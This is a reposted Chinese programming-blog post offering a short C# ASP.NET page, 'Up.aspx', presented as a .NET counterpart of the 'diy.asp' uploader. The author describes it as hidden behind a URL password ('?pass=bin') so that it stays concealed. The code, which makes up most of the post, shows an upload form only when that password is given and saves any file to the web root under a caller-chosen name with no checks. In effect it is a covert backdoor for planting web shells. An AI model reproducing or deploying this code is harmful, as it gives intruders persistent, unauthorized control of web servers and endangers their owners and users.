Up.aspx C#版
程序员文章站
2024-01-30 11:37:40
by:bin最近看见网上有人发了一个diy.asp的.net的版本,毕竟x的语法要求相对严谨,尽量减少代码的数量。我也发一个上传的东东。其实可以完全做成c/s版的,不过...
by:bin
最近看见网上有人发了一个diy.asp的.net的版本,毕竟x的语法要求相对严谨,尽量减少代码的数量。
我也发一个上传的东东。其实可以完全做成c/s版的,不过感觉没什么必要。可以自定义文件名,用参数访问达到隐蔽的效果。没有做异常处理!
提示:访问的格式为 xxx.aspx?pass=bin
<%@ page language="" debug="true" validaterequest="false"%>
<%@ import namespace="system.web" %>
<script runat="server">
protected void page_load(object sender, eventargs e)
{
string pass = "bin";//密码
form1.visible = false;
if ( pass == request.querystring["pass"])
{
form1.visible = true;
}
}
protected void button1_click(object sender, eventargs e)
{
fileupload.postedfile.saveas(server.mappath("./") + textbox1.text);
}
</script>
<head runat="server">
<title>upload</title>
</head>
<body>
<form id="form1" runat="server">
<p>
<asp:fileupload id="fileupload" runat="server" /> 文件名:<asp:textbox id="textbox1" runat="server"></asp:textbox>
<asp:button id="button1" runat="server" onclick="button1_click" text="up" /></p>
</form>
</body>
</html>
上一篇: 《python核心教程2》第六章 练习
下一篇: NET移植案例学习:建造Web站点(7)